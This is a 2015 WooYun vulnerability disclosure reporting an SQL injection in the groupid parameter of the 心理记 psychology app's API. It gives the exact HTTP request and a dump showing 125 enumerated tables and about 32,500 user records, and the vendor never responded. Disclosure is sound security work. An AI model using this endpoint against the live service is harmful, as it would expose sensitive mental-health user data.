当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149534

漏洞标题:心理记APP某处SQL注入漏洞涉及3W多用户数据

相关厂商:心理记

漏洞作者: sauren

提交时间:2015-10-26 15:07

修复时间:2015-12-10 15:08

公开时间:2015-12-10 15:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-12-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

如题所述。

详细说明:

接口如下:
POST /social/groupinfo HTTP/1.1
Host: api.xinliji.me
Pragma-Token:
Accept-Language: zh-CN
Pragma-Device: 3f065f492417b51bb2b29a20246710fc4144122c
User-Agent: XinLiJiMe/1.5.1 (iPhone; iOS 7.1.1; Scale/2.00)
Accept: */*
Accept-Encoding: gzip, deflate
Pragma-DeviceType: 4
longitude: 120.218978
Pragma-Encoding: gzip
latitude: 30.252254
Content-Type: application/x-www-form-urlencoded
Pragma-OS: MApi 3.0 (qj.ios; AppStore; iPhone; 7.1.1)
Connection: keep-alive
Proxy-Connection: keep-alive
Content-Length: 21
userid: 0
groupid=304&userid=0
groupid参数存在SQL注入。
Database: xljdb
[125 tables]
+-------------------------------+
| BATCH_JOB_EXECUTION |
| BATCH_JOB_EXECUTION_CONTEXT |
| BATCH_JOB_EXECUTION_PARAMS |
| BATCH_JOB_EXECUTION_SEQ |
| BATCH_JOB_INSTANCE |
| BATCH_JOB_SEQ |
| BATCH_STEP_EXECUTION |
| BATCH_STEP_EXECUTION_CONTEXT |
| BATCH_STEP_EXECUTION_SEQ |
| authassignment |
| authitem |
| authitemchild |
| people |
| tbl_about |
| tbl_action_balance |
| tbl_action_score |
| tbl_action_value |
| tbl_admin |
| tbl_agency |
| tbl_agreement |
| tbl_alipay_transaction |
| tbl_anchor |
| tbl_authassignment |
| tbl_authitem |
| tbl_authitemchild |
| tbl_autofollows |
| tbl_banner |
| tbl_banner_param |
| tbl_blacklist |
| tbl_blocked_device |
| tbl_chat |
| tbl_clinic |
| tbl_code |
| tbl_comment |
| tbl_consultant |
| tbl_consultant_apply |
| tbl_consultant_call |
| tbl_consultant_call_deduction |
| tbl_consultant_comment |
| tbl_consultant_event |
| tbl_consultant_event_item |
| tbl_consultant_label |
| tbl_consultant_online |
| tbl_consultant_order |
| tbl_consultant_order_taken |
| tbl_consultant_reserve |
| tbl_consultant_session |
| tbl_consultant_setting |
| tbl_consultant_state |
| tbl_consultant_term |
| tbl_daily |
| tbl_dream |
| tbl_dream_comment |
| tbl_dream_msg |
| tbl_dream_repo |
| tbl_ency_catg |
| tbl_ency_content |
| tbl_ency_subcatg |
| tbl_event_label |
| tbl_exchange |
| tbl_follow |
| tbl_gift |
| tbl_gift_message |
| tbl_gift_transaction |
| tbl_gift_user |
| tbl_group |
| tbl_group_bak |
| tbl_group_block |
| tbl_group_pending |
| tbl_group_user |
| tbl_group_user_bak |
| tbl_house_rent |
| tbl_iap_receipt |
| tbl_iap_transaction |
| tbl_like |
| tbl_message |
| tbl_mood |
| tbl_mood_result |
| tbl_mood_wall |
| tbl_msg_session |
| tbl_news |
| tbl_news_notification |
| tbl_occupation |
| tbl_photos |
| tbl_place |
| tbl_preference |
| tbl_product |
| tbl_psy_catg |
| tbl_psy_exam |
| tbl_psy_exam_option |
| tbl_psy_exam_question |
| tbl_psy_exam_result |
| tbl_psy_exam_user |
| tbl_qq_index |
| tbl_report |
| tbl_sso_ticket |
| tbl_subject |
| tbl_subject_event |
| tbl_subject_event_item |
| tbl_subject_event_map |
| tbl_subject_follow |
| tbl_suggestion |
| tbl_tag_catg |
| tbl_tag_catg_item |
| tbl_task |
| tbl_user |
| tbl_user_event |
| tbl_user_event_draft |
| tbl_user_event_item |
| tbl_user_event_item_draft |
| tbl_user_gift |
| tbl_user_group_block |
| tbl_user_label |
| tbl_user_mood |
| tbl_user_photo |
| tbl_user_task |
| tbl_vendor |
| tbl_verifycode |
| tbl_version |
| tbl_visit |
| tbl_wechat_index |
| tbl_wechat_pay_notify |
| tbl_wechat_pay_order |
| tbl_weibo_index |
| tbl_word_temp |
+-------------------------------+
125张表

漏洞证明:

Database: xljdb
+----------+---------+
| Table | Entries |
+----------+---------+
| tbl_user | 32536 |
+----------+---------+
3W多用户。

修复方案:

严格过滤

版权声明:转载请注明来源 sauren@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评价